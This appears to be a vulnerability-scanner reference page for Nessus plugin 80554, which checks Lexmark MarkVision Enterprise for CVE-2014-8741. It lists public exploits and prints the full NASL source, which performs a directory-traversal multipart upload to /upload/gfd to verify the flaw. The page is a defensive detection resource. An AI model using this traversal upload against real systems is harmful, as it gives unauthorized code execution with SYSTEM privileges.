Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability - Nessus

Critical Plugin ID: 80554

This page contains detailed information about the Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 80554
Name: Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability
Filename: lexmark_markvision_gfdupload_rce.nasl
Vulnerability Published: 2014-12-09
This Plugin Published: 2015-01-15
Last Modification Time: 2021-01-19
Plugin Version: 1.9
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: lexmark_markvision_enterprise_detect.nasl
Required KB Items [?]: www/lexmark_markvision_enterprise

Vulnerability Information

Severity: Critical
Vulnerability Published: 2014-12-09
Patch Published: 2014-12-09
CVE [?]: CVE-2014-8741
CPE [?]: cpe:/a:lexmark:markvision

Synopsis

The remote web application is affected by a remote code execution vulnerability.

Description

Nessus was able to exploit a directory traversal vulnerability in Lexmark MarkVision Enterprise, within the 'GfdFileUploadServerlet' servlet, to upload a file to the remote host. A remote attacker can utilize this vulnerability to both upload and execute arbitrary code with SYSTEM privileges.

Solution

Upgrade to Lexmark MarkVision Enterprise 2.1.0 or later.

Public Exploits

Target Network Port(s): 9788
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability vulnerability:

Metasploit: exploit/windows/http/lexmark_markvision_gfd_upload
[Lexmark MarkVision Enterprise Arbitrary File Upload]
Exploit-DB: exploits/java/remote/35776.rb
[EDB-35776: Lexmark MarkVision Enterprise - Arbitrary File Upload (Metasploit)]
D2 Elliot: lexmark_markvision_enterprise_2.0_file_upload.html
[Lexmark MarkVision Enterprise 2.0 File Upload]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C

CVSS Base Score:	10.0 (High)
Impact Subscore:	10.0
Exploitability Subscore:	10.0
CVSS Temporal Score:	8.3 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.3 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(80554);
  script_version("1.9");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2014-8741");
  script_bugtraq_id(71623);

  script_name(english:"Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability");
  script_summary(english:"Attempts to exploit the vulnerability.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web application is affected by a remote code execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"Nessus was able to exploit a directory traversal vulnerability in
Lexmark MarkVision Enterprise, within the 'GfdFileUploadServerlet'
servlet, to upload a file to the remote host. A remote attacker can
utilize this vulnerability to both upload and execute arbitrary code
with SYSTEM privileges.");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-14-410/");
  # http://support.lexmark.com/index?page=content&id=TE666&locale=en&userlocale=EN_US
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f4db861a");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Lexmark MarkVision Enterprise 2.1.0 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Lexmark MarkVision Enterprise 2.0 File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Lexmark MarkVision Enterprise Arbitrary File Upload');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/12/09");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/12/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/01/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:lexmark:markvision");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("lexmark_markvision_enterprise_detect.nasl");
  script_require_keys("www/lexmark_markvision_enterprise");
  script_require_ports("Services/www", 9788);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

get_install_count(app_name:"lexmark_markvision_enterprise", exit_if_zero:TRUE);
port = get_http_port(default:9788);

install = get_single_install(
  app_name : "lexmark_markvision_enterprise",
  port     : port
);

dir = install['path'];

filename = "/..\..\..\apps\dm-mve\nessus.txt";

r = rand_str();

boundary = "---------------------------nessus";
postdata =
    '--' + boundary + '\r\n' +
    'Content-Disposition: form-data; name="success"\r\n' +
    '\r\nsuccess' + r + ' - $fn\r\n' +
    '--' + boundary + '\r\n' +
    'Content-Disposition: form-data; name="failure"\r\n' +
    '\r\nfailure\r\n' +
    '--' + boundary + '\r\n' +
    'Content-Disposition: form-data; name="datafile"; filename="' + filename + '"\r\n' +
    'Content-Type: text/html\r\n' +
    '\r\ndelete me - ' + r + '\r\n' +
    '--' + boundary + '--\r\n';

res = http_send_recv3(
  method: "POST",
  item: dir + "/upload/gfd",
  port: port,
  add_headers: make_array("Content-Type", "multipart/form-data; boundary=" + boundary),
  data: postdata,
  exit_on_fail: TRUE
);

exploit_req = http_last_sent_request();

# >success - "nessus-1421070914970.txt"<
item = eregmatch(pattern:'>\\s*success' + r + '\\s*-\\s*"([^"]+)"<', string:res[2]);

if(isnull(item))
 audit(AUDIT_WEB_APP_NOT_AFFECTED, "Lexmark MarkVision Enterprise", build_url(qs:dir, port:port));

filename = item[1];

res = http_send_recv3(
  method: "GET",
  item: dir + "/" + filename,
  port: port,
  exit_on_fail: TRUE
);

if("delete me - " + r == res[2])
{
  if(report_verbosity > 0)
  {
    snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
    report =
      '\nNessus was able to verify the issue exists with the following ' +
      'request :' +
      '\n' +
      '\n' + build_url(port:port, qs:dir + '/' + filename) +
      '\n' +
      '\nNote: This file has not been removed by Nessus and will need to'+
      '\nbe manually deleted.' +
      '\n';
    if (report_verbosity > 1)
    {
      report += '\nThis file was created using the following request :'+
        '\n' +
        '\n' + snip +
        '\n' + exploit_req +
        '\n' + snip +
        '\n';
    }
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, "Lexmark MarkVision Enterprise", build_url(qs:dir, port:port));

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/lexmark_markvision_gfdupload_rce.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\lexmark_markvision_gfdupload_rce.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/lexmark_markvision_gfdupload_rce.nasl

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How to Run

Here is how to run the Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability plugin ID 80554.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl lexmark_markvision_gfdupload_rce.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a lexmark_markvision_gfdupload_rce.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - lexmark_markvision_gfdupload_rce.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state lexmark_markvision_gfdupload_rce.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

71623

See also:

Similar and related Nessus plugins:

80203 - Lexmark MarkVision Enterprise < 2.1 Multiple Vulnerabilities
88807 - Lexmark Markvision Enterprise Java Object Deserialization RCE
86426 - Lexmark Printer config.html Administrator Authentication Bypass (FREAK)

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file lexmark_markvision_gfdupload_rce.nasl version 1.9. For more plugins, visit the Nessus Plugin Library.

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Lexmark MarkVision Enterprise GfdFileUploadServerlet RCE Vulnerability - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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